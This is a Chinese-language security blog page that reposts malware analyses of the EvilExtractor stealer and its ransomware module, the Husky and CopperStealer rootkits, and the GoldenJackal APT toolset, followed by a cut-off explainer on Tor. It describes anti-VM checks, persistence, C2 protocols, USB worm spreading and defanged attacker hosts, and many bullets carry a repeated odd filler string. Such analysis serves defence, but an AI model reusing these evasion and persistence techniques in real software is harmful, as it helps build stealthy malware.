Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86392058

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

EvilExtractor（有時拼寫為Evil Extractor）是一種旨在針對Windows操作系統並從終端設備提取數據和文件的攻擊工具。它包括幾個通過FTP服務工作的模塊。它是由一家名為Kodex的公司開發的，該公司聲稱這是一款教育工具。然而，FortiGuard研究表明，攻擊者正在積極使用它作為信息竊取工具。

2023年3月，惡意活動顯著增加。 FortiGuard實驗室在3月30日的一次釣魚電子郵件活動中發現了這種惡意軟件。它通常偽裝成合法文件，如Adobe PDF或Dropbox文件，但一旦加載，它就開始利用PowerShell的惡意活動。它還包含環境檢查和反虛擬機功能。其主要目的似乎是從受攻擊的終端竊取瀏覽器數據和信息，然後將其上傳到攻擊者的FTP服務器。

研究人員最近審查了一個被注入受害者係統的惡意軟件版本，作為分析的一部分，我們發現大多數受害者位於歐洲和美國。開發商於2022年10月發布了其項目，並不斷更新以提高其穩定性並加強其模塊。

本文將研究用於EvilExtractor的初始攻擊方法及其功能。

1.png

EvilExtractor在網上出售

初始訪問帶有惡意附件的網絡釣魚電子郵件如下圖所示。它偽裝成一個帳戶確認請求。攻擊者還通過使用解壓文件的Adobe PDF圖標來欺騙受害者。 PE標頭如下圖所示。

2.png

釣魚郵件

3.png

“Account_Info.exe”的文件標頭

執行文件是由PyInstaller封裝的Python程序。我們用pyinstxtractor提取它，發現它的主代碼文件“contain.pyc”中的“PYARMOR”字符串，是Python腳本的混淆工具，使惡意軟件更難被分析和檢測。我們從_pytransform.dll中提取了密鑰和iv，並使用AES-GCM解密了“contain.pyc”。

4.png

' include .pyc'中的代碼

除了Python程序之外，我們還觀察到了一個可以提取EvilExtractor的.NET加載程序。下圖是代碼的一部分。它包含Base64編碼的數據，該數據是PowerShell腳本。此執行文件由工具“PS2EXE-GUI”生成，該工具可以將PowerShell腳本轉換為EXE文件。

5.png

EvilExtractor的.Net代碼

EvilExtractor在解密pyc文件之後，我們得到了EvilExtractor的主代碼。它是一個PowerShell腳本，包含以下模塊：

日期時間檢查；

反沙盒；

反虛擬機；

反掃描器；

FTP服務器設置；

竊取數據；

上傳被盜數據；

清除日誌。

它首先檢查系統日期是否在2022.11.9和2023.4.12之間。如果沒有，則使用以下命令刪除PSReadline中的數據並終止：

6.png

然後，它比較產品模型，看看它是否匹配以下任何一個：VirtualBox、VMWare、Hyper-V、Parallels、Oracle VM VirtualBox、Citrix Hypervisor、QEMU、KVM、Proxmox VE或Docker，如下圖所示。它還將受害者的主機名與來自VirusTotal設備或其他掃描儀/虛擬機的187個名稱進行檢查，如下圖所示。

7.png

EvilExtractor比較產品模型以進行匹配

8.png

虛擬環境和掃描器/虛擬機檢查

通過環境檢查後，EvilExtractor從http://193[.]42[.]33[.]232下載三個用於竊取數據的組件。這些文件也是使用PyArmor進行混淆處理的Python程序。第一個是“KK2023.zip”，用於竊取瀏覽器數據並將其保存在“IMP_Data”文件夾中。它可以從Google Chrome、Microsoft Edge、Opera和Firefox中提取cookie。它還從以下瀏覽器收集瀏覽器歷史記錄和密碼：

9.png

第二個文件是“Confirm.zip”。它是一個將數據保存在“KeyLogs”文件夾中的鍵盤記錄器。最後一個文件“MnMs.zip”是一個網絡攝像頭提取器。其對應的代碼如下圖所示。

10.png

下載Keylogger和Webcam Snapshot函數的組件

EvilExtractor還通過PowerShell腳本收集系統信息，如下圖所示。下圖顯示了一個名為“Credentials.txt”的文本文件中的連接數據。

11.png

用於收集系統信息的PowerShell腳本

12.png

“Credentials.txt”的內容

EvilExtractor從Desktop和Download文件夾下載具有特定擴展名的文件，包括jpg, png, jpeg, mp4, mpeg, mp3, avi, txt, rtf, xlsx, docx, pptx, pdf, rar, zip, 7z, csv, xml和html。它還使用命令“CopyFromScreen”來捕獲屏幕截圖，代碼如下圖所示。

13.png

下載文件並獲取截圖

EvilExtractor從受攻擊的終端提取所有數據後，將其上傳到攻擊者的FTP服務器，如下圖所示。 EvilExtractor的開發人員還為購買其惡意軟件的用戶提供了FTP服務器。

14.png

將文件上傳到攻擊者的FTP服務器

Kodex 勒索軟件EvilExtractor還具有勒索軟件功能，它被稱為“Kodex勒索軟件”，如下圖所示。我們從上一節提到的.net加載程序中提取了此PowerShell腳本，其勒索軟件的腳本與其竊取程序的腳本相似。

15.png

來自evilextracom[.]com的介紹

它從evidtextractor[.]com下載“zzyy.zip”。解壓後的文件（一個7-zip的獨立控制台）的詳細信息如下圖所示。下圖顯示了它利用“7za.exe”用參數“-p”加密文件，這意味著用密碼壓縮文件。它還生成一條保存在“KodexRansom”中的勒索消息。

16.png

“zzyy.zip”中的文件

17.png

Kodex勒索軟件的PowerShell腳本

18.png

勒索消息

總結EvilExtractor是一個多功能信息竊取程序，具有包括勒索軟件在內的多種惡意功能。它的PowerShell腳本可以在.NET加載程序或PyArmor中躲避檢測。在很短的時間內，它的開發人員已經更新了幾個功能，並提高了它的穩定性。本文介紹了攻擊者如何通過網絡釣魚郵件發起攻擊，以及利用哪些文件來提取EvilExtracrtor PowerShell腳本。本文還詳細介紹了EvilExtractor包括哪些功能，它可以收集哪些數據，以及Kodex勒索軟件的工作原理。用戶應該警惕這種新的信息竊取程序，並謹慎打開可疑郵件。

19.png

攻擊鏈

HireHackking

本文會分析野外發現的兩個rootkit示例：Husky rootkit和Mingloa/CopperStealer rootkit。

驅動入口函數DriverEntry讓我們從二進制的驅動入口函數DriverEntry開始，在Windows內核驅動程序中，它是DriverEntry。

DriverEntry通常包括以下代碼塊：

調用IoCreateDevice和IoCreateSymbolicLink；

初始化主要函數數組，其中包含指向各種處理函數的函數指針；

為DriverUnload例程分配一個指向處理程序函數的函數指針。

以下片段（代碼段1）展示瞭如何用C語言實現簡單Windows內核驅動程序的DriverEntry。

1.png

C語言中DriverEntry實現的一個示例

下一個代碼段(代碼段2)展示了同一個DriverEntry的反彙編過程。

2.png

代碼段2：DriverEntry的反彙編

DriverUnload函數DriverUnload是一個在卸載驅動程序時調用的函數。

此處理程序函數的目的是清除驅動程序在初始化和執行過程中創建的任何資源，例如，刪除在DriverEntry中創建的設備和符號鏈接。

調用ExFreePoolWithTag來取消分配在DriverEntry函數中分配的任何池內存也是一個很好的策略函數。

3.png

代碼段3：C語言中DriverUnload實現的一個示例

Windows內核結構為了充分理解Windows內核驅動程序的反彙編，我們還應該熟悉對像管理器和內核中其他組件使用的一些內核結構。

例如，以下結構是DRIVER_OBECT（代碼段4）。

4.png

代碼段4：分解DRIVER_OBECT結構

當對IRP進行逆向工程時，繪製出驅動程序使用的IRP主要函數是很有用的。例如，通過查看結構偏移（代碼段4）和反彙編（代碼段2），我們可以確定sub_1400014B0是DriverUnload。

我們還可以使用wdm.h/ntddk.h中描述的IRP主要函數代碼值，通過檢查代碼的主要函數，得出sub_140001280（在Snippet 2中）是IRP_MJ_CREATE的函數處理程序的結論，該代碼將從DRIVER_OBECT結構中的MajorFunction（0x70）的偏移量得出0x70的結果。這顯然是0x00*PointerSize（x64體系結構中為8）；因此，正在處理的是IRP_MJ_CREATE。

可以用同樣的方式，確定IRP_J_CLOSE、IRP_J_READ、IRP_MJ_WRITE和IRP_J_DEVICE_CONTROL的函數處理程序是什麼。

5.png

代碼段5：摘自wdm.h，它定義了所有IRP主要函數的常數值

在進行分析時，我們熟悉的其他一些內核結構是IRP和IO_STACK_LOCATION結構。

IRP，也稱為I/O請求包，是一種在創建I/O請求期間，在設備堆棧中的不同驅動程序之間移動，直到請求完成的結構。

當在用戶獲取的設備對象的句柄上從用戶模式調用具有特定IOCTL操作的DeviceIoControl時，會創建IRP。

6.png

代碼段6：IRP結構的分解

此外，IO_STACK_LOCATION表示IRP在設備堆棧中的當前位置（因此IRP結構中的CurrentLocation字段是指向IO_STACK-LOCATION的指針）。

IO_STACK_LOCATION結構包含一個聯合類型的參數字段，該字段指定驅動程序中不同主函數要使用的不同參數。

例如，如果當前操作是IRP_MJ_DEVICE_CONTROL，則將使用DeviceIoControl類型的參數，包括OutputBufferLength、InputBufferLength、IoControlCode和Type3InputBuffer。

7.png

代碼段7：IO_STACK_LOCATION結構的分解

有了我們對Windows內核驅動程序的新理解，以及如何在Windows驅動程序中找到關鍵函數，讓我們看看一些真實的示例。

示例1：Brute Ratel C4(BRC4)攻擊釋放“Husky” Rootkit這項研究來源於Palo Alto Networks Unit 42在一篇關於Brute Ratel C4的博客https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/中提到的與活動相關的示例。不過，他們沒有提供這個示例的技術分析。

示例詳細信息8.png

示例概述該示例是一個內核驅動程序，使用LAP$US組織竊取的NVIDIA證書進行簽名。它使用zerosum0x0（圖1）找到的Heresy's Gate方法https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.html，這是一種用於從內核模式驅動程序繞過SMEP向用戶模式註入代碼的技術。

微信截图_20230518134625.png

通過zerosum0x0使用Heresy‘s Gate方法對簽名驅動程序進行分解

注入的shellcode使用經典技術，如遍歷InLoadOrderModuleList以查找庫句柄，以及解析API函數（如LoadLibraryA和GetProcAddress），這些函數可用於解析任何其他API。

注入的shellcode分析起來也很長（圖2），看起來與前面提到的Unit 42博客中描述的shellcode非常相似，因為它使用多個推送指令在堆棧上存儲數據。存儲在堆棧中的數據包括：

Brute Ratel C4的Base64編碼配置數據；

Brute Ratel C4有效負載；

可移植可執行文件（PE）64二進製文件，是VMProtect打包的內核驅動程序，稍後加載。

9.png

圖2：摘自shellcode，將許多值推送到堆棧並形成Base64 blob

Brute Ratel C4配置可以使用以下短腳本（代碼段8）進行解密：

10.png

代碼段8：用於解碼和解密從堆棧中提取的Base64 blob的配置的代碼段

解密配置後，我們得到以下輸出：

11.png

代碼段9：解密配置的示例

解密的配置數據（Snippet 9）包括Brute Ratel C4有效負載的一些基本配置，包括C2服務器地址和開始通信的端口，對C2的請求應該是什麼樣子的Base64編碼模板，以及C2上用於各種功能和選項的不同路徑。

12.png

攻擊場景

我們發現x64 rootkit與Brute Ratel C4示例一起安裝在受攻擊的設備上更有趣，因為它被覆蓋相同示例的其他供應商完全忽略了。

Husky Rootkitx64 rootkit，我們稱之為Husky Rootkit，與Brute Ratel有效負載一起被釋放。

內核驅動程序由VMProtect打包，並使用頒發給“SHANGMAO CHEN”的證書進行簽名(圖4)。

13.png

rootkit使用的證書

驅動入口函數DriverEntry由於這個DriverEntry(圖5)函數被打包並混淆了，因此很難從中收集任何信息。它從一系列無條件分支指令(jmp)開始，基本上指向VMProtect解包存根。

14.png

VMProtected DriverEntry顯示了一個無條件分支指令作為它的第一條指令

但是在解包之後，我們發現像GsDriverEntry這樣的函數包含了更多的信息，以及我們可以在分析中使用的重要字符串（圖6）。

15.png

從GsDriverEntry中反彙編一個分支，該分支包含以thpt（HTTP的混合版本）作為其URL協議的URL字符串

C2通信rootkit直接與\\Device\Tcp進行交互以進行通信。因此，在受攻擊的設備上運行的用戶模式工具(如netstat和tcpview)會隱藏連接。

另一種方法是在VM主機上使用Wireshark進入客戶機的共享網絡接口，以監控受攻擊虛擬機的所有通信流量（圖7和圖8）。

16.png

Wireshark網絡捕獲的由rootkit啟動的流量

該惡意軟件與多個域以及每個域的相對路徑進行通信。

17.png

從服務器到URL中的/xccdd路徑的Web請求和響應顯示了響應有效負載

隱寫術引起我們注意的特定HTTP流量是從以下URL下載的一些圖像（JPEG–JFIF標頭）：http://pic.rmb.bdstatic.com//bjh/.jpeg.

JPEG文件(圖9)是一張看起來很無辜的狗的圖片，因此研究人員將這些圖片命名rootkit為“Husky”。

18.png

該圖片含有有效負載

每個JPEG也有一個隱寫有效負載，其形式是在多個0的分隔符之後，將數據連接到偏移量為0x1769的圖片末尾(圖10)。

19.png

jpg文件中帶有狗的圖片末尾和負載的開始之間的分隔符的Hexview

通過查看數據，我們可以看到前32個字節與前一個請求對hxxp://rxeva6w.com:10100/xccdd的十六進制格式的服務器響應相同(代碼段10)。

20.png

代碼段10：有效負載的前32個字節在不同的有效負載中相似

諷刺是，域rxeva6w.com在88次檢測中一次也未被檢測到（圖11）。

21.png

VirusTotal顯示了在rveva6w.com域上的檢測結果

加密HTTP有效負載使用的加密/解密算法是一種稍微修改過的DES算法，密鑰為“j_k*a-vb”。

22.png

將解密密鑰傳遞給DES解密函數

附加功能除了通過HTTP進行通信和隱藏連接外，這個rootkit還能夠加載從不同URL下載的新模塊。

顯然，這個rootkit包含了本文未提及的額外功能。

示例2：Mingloa（CopperStealer）Rootkit2019年，ESET首次發現並命名了Mingloa惡意軟件。該惡意軟件後來也被Proofpoint發現了，也被稱為CopperStealer。

正如Proofpoint研究中所指出的，該惡意軟件具有查找和竊取保存的瀏覽器密碼的能力。除了保存的瀏覽器密碼外，該惡意軟件還使用存儲的cookie從Facebook檢索用戶訪問令牌。

這是CyberArk Endpoint Privilege Manager中包含的一系列憑據和安全令牌保護技術，這可以顯著限制CopperStealer等憑據竊取程序的影響。如果使用這些技術，CopperStealer將無法從受攻擊的設備中抓取數據。

23.png

示例概述

此惡意內核模塊是針對x86和x64體系結構編譯的。

24+1.png

惡意軟件攻擊場景的分解

該驅動程序使用頒發給“大連龍夢網絡技術有限公司”或“大連晨星網絡技術”的證書進行簽名。此證書可能是從受攻擊的設備上竊取的，或者是由員工洩露的。

25.png

頒發給“大連龍夢網絡科技”的證書，用於簽名驅動程序

通過用戶模式安裝讓我們首先看看應該部署驅動程序的用戶模式惡意軟件攻擊例程。

26.png

分解用戶模式組件執行流以安裝驅動程序

通過查看這個片段，我們可以看到InstallDriver函數接收到一個參數，並且首次調用時參數值為0。第二次調用時，參數值為1。

如果我們仔細觀察InstallDriver，會發現它首先嘗試創建一個semaphore，然後檢查Windows版本。如果這些調用中的任何一個失敗，它將退出而不執行任何操作。

27.png

二進製文件中InstallDriver函數開頭的反彙編，它調用CreateSemaphoreWrapper

如果之前的檢查成功，則惡意軟件將繼續，停止並刪除任何具有相同名稱的服務，最後將shouldInstallDriver參數與0進行比較。

28.png

CreateSemphoreWrapper函數的反彙編

如果shouldInstallDriver的值等於0，則函數將返回，不再執行任何指令。否則，它將根據系統架構，繼續安裝嵌入二進製文件中的適當驅動程序。

29.png

對InstallDriver函數的分解，它描述在系統上安裝驅動程序的流程

這部分代碼還包含一個邏輯錯誤，它會阻止加載此驅動程序。

第一次調用InstallDriver(應該只刪除任何現有的驅動程序)也會創建一個信號量。第二個調用也應該安裝驅動程序，但在安裝驅動程序之前會提前退出，因為semaphore已經存在。

這個邏輯錯誤有些神秘，因為惡意軟件通常會針對這些類型的錯誤進行測試。在這種情況下，它要么是在沒有任何測試的情況下匆忙部署的，要么還不打算部署到任何受攻擊的設備上。

驅動入口函數DriverEntry該惡意軟件的內核模式組件是傳統文件系統過濾器驅動程序，與更現代的迷你過濾器驅動程序不同，它可以在不使用回調過濾函數（如操作前回調例程或操作後回調例程）的情況下修改系統行為。

傳統的文件系統過濾器驅動程序可以直接修改文件系統行為，並且在每個I/O操作(如CREATE, READ和WRITE)中都被調用。

通過查看DriverEntry，我們可以看到兩個主要的函數例程被分配了IRP_MJ_READ和IRP_MJ_SET_INFORMATION。此外，它還註冊了兩個回調函數——一個使用CmRegisterCallback，另一個使用IoRegisterFsRegistrationChange。

HireHackking

GoldenJackal是一家APT組織，自2019年開始活躍，通常針對中東和南亞的政府和外交機構。儘管他們早在幾年前就開始了活動，但該組織似乎沒有被詳細介紹過。

卡巴斯基實驗室的研究人員早在2020年中開始監測該組織，觀察到這是一個極其專業的組織。該組織的主要開發.NET惡意軟件、JackalControl、JackalWorm、JackalSteal、JackalPerInfo和JackalScreenWatcher等特定工具集，目的是：

马云惹不起马云控制受害者計算機；

马云惹不起马云在使用可移動驅動器的系統中傳播；

马云惹不起马云從受感染的系統中竊取某些文件；

马云惹不起马云竊取憑據；

马云惹不起马云收集有關本地系統的信息；

马云惹不起马云收集有關用戶網絡活動的信息；

马云惹不起马云 截取桌面的屏幕截圖；

根據工具集和攻擊者的行為，研究人員認為GoldenJackal APT組織的主要動機是間諜活動。

攻擊途徑研究人員發現攻擊者假冒Skype安裝程序，使用惡意Word文檔。

另一個已知的攻擊途徑是一個惡意文檔，它使用遠程模板注入技術下載惡意HTML頁面，該頁面利用了Follina漏洞。

1.png

這份文件被命名為“Gallery of Officers Who Have Received National And Foreign Awards.docx”的文件似乎是合法的，旨在收集巴基斯坦政府授予勳章的官員的信息。值得注意的是，Follina漏洞是在2022年5月29日首次被公佈，該文檔似乎在發布兩天后的6月1日進行了修改，並於6月2日首次被檢測到。

該文檔被配置為從合法且已被攻擊的網站加載外部對象：

hxxps://www.pak-developers[.]net/internal_data/templates/template.html！

2.png

用於加載遠程資源的代碼段

遠程網頁是公共“概念證明”的修改版本，用於利用Follina漏洞。原始PoC可在GitHub上獲得。攻擊者將IT_BrowseForFile變量值替換為以下值：

3.png

利用Follina漏洞的代碼段

解碼後的字符串為：

4.png

解碼腳本該漏洞會下載並執行託管在合法受攻擊網站上的可執行文件，並將其存儲在以下路徑中：“%Temp%\GoogleUpdateSetup.exe”。下載的文件是JackalControl惡意軟件。

在其他情況下，研究人員沒有發現真正的攻擊途徑，他們還觀察到在橫向活動進程中系統受到攻擊。具體來說，研究人員觀察到攻擊者使用psexec實用程序啟動惡意批處理腳本。

5.png

批處理腳本執行各種操作，例如安裝Microsoft .Net Framework 4、用JackalControl木馬感染系統並收集有關係統的信息。

6.png

JackalControl這是一種木馬，允許攻擊者通過一組預定義和支持的命令遠程控制目標計算機。信息是通過HTTPS通信信道在惡意軟件和C2服務器之間進行接收的，並且可以指示植入進行以下任何操作：

马云惹不起马云使用提供的參數執行任意程序；

马云惹不起马云下載任意文件到本地文件系統；

马云惹不起马云從本地文件系統上傳任意文件；

在過去幾年中，攻擊者多次更新該工具，已出現了多種變體。接下來，我們將描述2023年1月觀察到的最新版本（8C1070F188AE87FBA1148A3D791F2523）。

該木馬是一個可執行文件，可以作為標準程序或Windows服務啟動。

它需要一個參數，該參數可以等於以下一個值：

马云惹不起马云/0：作為標準程序運行，只與C2服務器聯繫一次；

马云惹不起马云/1：作為標準程序運行，並定期聯繫C2服務器；

马云惹不起马云/2：作為Windows服務運行；

惡意軟件參數和相關的惡意軟件行為根據變體而變化。一些變體只提供兩個參數：

马云惹不起马云/0作為標準程序運行；

马云惹不起马云/1作為Windows服務運行；

其他變體可以自我安裝不同的持久性機制。惡意軟件的執行流程由運行該惡意軟件的命令行中提供的參數決定。

马云惹不起马云/h0：將通過創建Windows計劃任務使惡意軟件獲得持久性；

马云惹不起马云/h1：將通過創建相應的註冊表運行項使惡意軟件獲得持久性；

马云惹不起马云/h2：將通過創建Windows服務使惡意軟件獲得持久性；

马云惹不起马云/r0：作為標准進程運行（此參數由Windows計劃任務指定）；

马云惹不起马云/r1：作為標准進程運行（此參數由生成的註冊表運行項值指定）。

马云惹不起马云/r2：作為服務運行（此參數由創建的Windows服務指定）。

攻擊者已經將不同的變體進行了傳播：有些包括用於維護持久性的代碼，另一些則被配置為在不感染系統的情況下運行；並且感染進程通常由諸如上述批處理腳本之類的其他組件執行。

惡意軟件通過生成BOT_ID開始其活動，這是用於識別受攻擊系統的唯一值。此值源自其他幾個基於主機的值：

從以下WMI查詢中獲得的UUID值：

7.png

從以下註冊表項獲取的計算機GUID:

8.png

從另一個WMI查詢中獲得的額外驅動器的列表，這反過來允許他們確定' PHYSICALDRIVE0 '的' SerialNumber '：

9.png

收集到的信息被連接在一個字節數組中，然後用MD5哈希，MD5被用作創建BOT_ID的種子。用於生成後者的算法只是對結果MD5哈希中每兩個連續字節求和，並將所得字節（模數256）作為最終BOT_ID的單個字節。下面的代碼片段描述了這種邏輯，它取自惡意軟件。

10.png

用於生成BOT_ID的代碼段

生成的BOT_ID還用於初始化DES密鑰和IV，然後用於加密與C2的通信。

惡意軟件使用HTTPPOST請求進行通信，其中數據參數將以編碼形式作為請求主體的一部分進行傳播。然後，整個請求結構將顯示如下：

11.png

一個有效的響應應該以以下方式形成：

12.png

響應使用base64進行解碼：生成的有效負載是一個字符串數組，其中使用的分隔符是標準的Windows新行序列-“\r\n”。每一行都用base64再次解碼，用DES解密，並用GZIP算法解壓縮。

每個命令都具有以下結構：

13.png

命令結構

00：執行——使用指定的參數執行任意程序。如果攻擊者將NoWait標誌設置為False，則惡意軟件會重定向進程輸出，讀取數據並將其轉發給C2；

01：下載——從本地系統讀取文件並將其上傳到服務器；

02：上傳——使用攻擊者指定的文件路徑將接收到的數據保存到本地系統。

命令數據字段旨在攜帶有關命令參數的信息，並且對於每種操作類型具有不同的結構，如下所述：

14.png

命令結果通常被組成一條消息，該消息還包括底層命令類型和命令ID的值，該值唯一地標識向惡意軟件發出的命令的示例。這三個值用GZIP壓縮，用DES加密，並用base64編碼。

生成的有效負載使用“|”字符與BOT_ID連接，再次使用base64編碼，然後使用上述POST請求格式將其上傳到遠程服務器。

安裝程序模式一些變體可以感染系統，在特定位置創建惡意軟件的副本，並保證其持久性。

惡意軟件位置是通過特定進程選擇的，它枚舉CommonApplicationData中的所有子目錄，並隨機選擇一個子目錄保存其副本。生成的文件名將以子目錄的名稱作為後綴，並附加另一個靜態值Launcher.exe，如下所示：

15.png

如果操作成功，它還會更改新的文件時間戳，並使其與所選子目錄的時間戳相同。

如果操作失敗，它會隨機選擇另一個目錄，並再次嘗試複製惡意軟件。

如果對所有子目錄的操作都失敗，它將嘗試使用硬編碼目錄名列表：

马云惹不起马云Google

马云惹不起马云Viber

马云惹不起马云AdGuard

马云惹不起马云WinZip

马云惹不起马云WinRAR

马云惹不起马云Adobe

马云惹不起马云CyberLink

马云惹不起马云Intel

如果所有嘗試都失敗了，它將嘗試在以下位置使用相同的進程：

马云惹不起马云ApplicationData

马云惹不起马云LocalApplicationData

马云惹不起马云Temp

持久性能力惡意軟件的持久性通常通過以下機制來保證：

马云惹不起马云服務安裝；

马云惹不起马云創建新的Windows註冊表項值；

马云惹不起马云創建新的計劃任務；

該服務通常由惡意軟件在執行Windows sc.exe實用程序時安裝。

16.png

註冊表值等於復制的惡意軟件文件名，不帶擴展名，並存儲在以下各項中：

17.png

計劃任務是使用硬編碼的XML模板創建的，該模板在運行時被修改，並使用相同的惡意軟件文件路徑在文件系統釋放，但擴展名不同，為.XML而不是.exe。

然後將生成的XML文件與Windows schtasks.exe實用程序一起使用來創建任務。

例如：

18.png

任務和服務描述會根據變體而變化。

JackalStealJackalSteal是另一種植入程序，通常部署在一些受感染的計算機上，用於在目標系統中查找感興趣的文件，並將其竊取至C2服務器。

此工具可用於監控目標系統中的可移動USB驅動器、遠程共享和所有邏輯驅動器。惡意軟件可以作為標準流程或服務來工作。它無法維護持久性，因此必須由另一個組件安裝。

JackalSteal通過解析參數開始執行。

19.png

選項說明

马云惹不起马云-n：配置文件的唯一標識符值；

马云惹不起马云-p：要檢查的目錄路徑；

马云惹不起马云-s：請求文件的最大大小；

马云惹不起马云-d：自上次寫入請求文件以來的天數；

马云惹不起马云-m：使用正則表達式在配置的目錄中查找以逗號分隔的字符串掩碼列表；

马云惹不起马云-w：配置Profile的連續目錄掃描之間的時間間隔（以秒為單位）；

马云惹不起马云-e：從掃描活動中排除路徑；

马云惹不起马云/0：作為標准進程運行；

马云惹不起马云/1：作為服務運行；

這些選項允許攻擊者指定“概要文件”，該文件定義了攻擊者感興趣的文件。該配置文件由一個ID和一個模式列表組成。每個模式都包含一個具有以下屬性的選項列表：

马云惹不起马云Path：目標路徑；

马云惹不起马云Credentials：用於訪問遠程共享的憑據用戶和密碼；

马云惹不起马云Masks：包含通配符和掩碼字符的掩碼字符串，可用於使用正則表達式匹配任何一組文件；

马云惹不起马云MaxSize：文件的最大大小；

马云惹不起马云Days：自上次寫入文件以來的天數；

马云惹不起马云Interval：兩次連續路徑掃描之間的時間間隔

马云惹不起马云Exclude：掃描活動期間必須排除的路徑；

用於配置JackalSteal組件的命令如下：

20.png

唯一標識符“-n”通常與JackalControl木馬程序生成的BOT_ID相同。

在參數處理之後，惡意軟件將數據序列化為XML，使用由帶有“-n”選項傳遞的ID生成的密鑰用DES加密它們，並將生成的有效負載存儲在以下位置：“%ApplicationData%\SNMP\cache\%Filename]”，其中%Filename%是由攻擊者指定的唯一標識符的MD5生成的GUID。

惡意軟件通常使用“/0”或“/1”選項和“-n”選項執行，該選項用於加載獲得的配置文件ID。在第二種情況下，它從前面提到的位置加載配置文件，並啟動‘Watchers’。

Watcher是在具有相同名稱的類中定義的對象，該對像在不同的線程中運行，並根據指定的選項掃描位置。該模式可以表示：

马云惹不起马云本地文件系統中的簡單路徑；

马云惹不起马云遠程共享上的路徑；

马云惹不起马云常量字符串all；

马云惹不起马云常量字符串usb。

當模式等於“all”時，惡意軟件會枚舉所有邏輯驅動器，並為每個驅動器創建一個新的Watcher對象。當模式為“usb”時，它會偵聽與在系統上創建新的可移動驅動器的操作相對應的系統事件。當檢測到新的驅動器時，它會創建一個新的Watcher對象。

每次添加新的Watcher時，惡意軟件都會通知日誌該事件，並使用HTTP Post請求將信息發送到遠程C2。

該日誌是使用以下字符串作為模板創建的：

21.png

並上傳到包含以下信息的加密有效負載中：

22.png

為每個請求生成AES_Key和AES_IV，嵌入在代碼中的密鑰使用RSA算法進行加密。生成的有效負載也使用GZIP算法進行壓縮。

“Agent_id\\Log_path.log”和“Log”內容數據採用AES算法加密，並使用GZIP壓縮。

Watcher對象負責掃描活動，當Watcher啟動時，它會枚舉目錄及其子目錄中的所有文件。掃描儀還可以解析.lnk鏈接。當掃描程序檢測到與定義的屬性（掩碼、天數、最大大小）匹配的文件時，它會計算文件內容哈希，檢查結果值是否存在於存儲在本地緩存目錄中的哈希表中，如果不存在，則添加該值。當檢測到新文件時，惡意軟件會使用上述相同的邏輯將該文件和相關的文件路徑上傳到加密有效負載中。

在這種情況下，加密的有效負載包含以下信息：

23.png

“Agent_id\\Local_file_path”和“File”內容數據採用AES算法加密，並使用GZIP壓縮。

JackalWorm

這種蠕蟲是為了傳播和感染使用可移動USB驅動器的系統而開發的。該程序被設計為一種靈活的工具，可以用來感染任何惡意軟件的系統。

它的行為會隨著父進程而變化。

马云惹不起马云當惡意軟件在被感染的系統上工作，並且父進程是taskeng.exe或services.exe時：

马云惹不起马云監控可移動USB驅動器；

马云惹不起马云連接設備後，將隱藏最後修改的目錄，並將其替換為蠕蟲的副本；

用於監控可移動USB驅動器的代碼與JackalSteal中觀察到的代碼相同。它創建了一個ManagementEventWatcher對象，允許它訂閱與給定WQL查詢相對應的事件通知，並在攔截時發出回調。惡意軟件使用的查詢指示系統每五秒鐘檢查一次邏輯可移動磁盤創建事件：

24.png

當惡意軟件檢測到一個可移動的USB存儲設備時，它會自我複製到該設備。它將復製到的路徑是通過列出所有目錄並選擇最後修改的目錄來確定的。它將使用相同的目錄名在驅動器根目錄上創建自己的副本，並將目錄的屬性更改為“hid

HireHackking

下圖可以幫我們了解Tor匿名過程。

首先，我們假設使用者已經構建了一個Tor路徑，這意味著計算機已經選擇了三個Tor節點（運行Tor軟件的服務器）來中繼消息並獲得了每個節點的共享密鑰。

2.png

計算機首先對私有數據進行三層加密（上圖中的步驟1），這也是洋蔥名稱的由來。之後，使用者的計算機以相反的順序加密數據：首先使用最後一個退出節點的密鑰(Kn3)，然後使用中間中繼節點的密鑰(Kn2)，最後使用保護節點的密鑰(Kn1)。保護節點接收到數據後，使用Kn1 去除最外層的加密，並將解密的消息發送到中繼節點。中間節點使用Kn2 刪除下一層，並將其中繼到退出節點。最後，退出節點使用Kn3 解密消息並將原始數據發送到Web 服務器（在本例中是peel-the-orange[.]com）。分層加密實現了保密性，並限制了參與通信的人員，因為只有知道密鑰的節點才能解密消息。

3.png

上圖匯總了哪些節點知道哪些其他節點。守衛節點（guard node）知道使用者是誰以及下一個接收使用者消息的節點，即中間中繼節點。但是，守衛節點不知道最後的退出節點和使用者的最終目標地，因為只用Kn1解密，此時入口節點的消息仍然是亂碼。中繼節點知道的最少。它不知道誰是原始發送者或最終目標地，只知道入口和退出節點。退出節點知道中間中繼節點和目標服務器，而目標服務器只知道退出節點。

返回使用者的消息以類似的方式傳回，每個節點使用與使用者共享的密鑰添加一層加密。

4.png

上圖是全球Tor網絡中，使用者和監控者的示意圖。 Emilia代表使用者，Lemonheads代表監控者。當使用者使用Tor時，監控者只能觀察到使用者與入口節點的連接。即使他們對所傳遞的消息有完全的全局可見性，他們也很難跟踪使用者的消息，因為它們混入了所有Tor用戶的流量，而且每次消息傳遞到另一個節點時，加密層都會發生變化。如前所述，如果使用者使用單一的VPN 提供商，它將知道使用者訪問的網站。此外，監控者可以觀察來自VPN 服務器的傳入和傳出消息，並可能確定使用者正在訪問哪些網站。

一個奇怪的問題是：使用者如何在不暴露身份的情況下與Tor節點共享密鑰？要解決這個問題需要分兩步。

首先，兩個節點如何在任何人都可以讀取所有通信的公共網絡上合作創建一個只有他們知道的密鑰？答案是Diffie-Hellman key Exchange (DHE) 協議。首先，雙方需要各自生成他們自己的私有秘密，並將其組合成只有他們兩個人可以計算的共享秘密(Kn1。在實際應用中，基於橢圓密碼學的認證ECDHE來解決vanilla DHE 的問題。

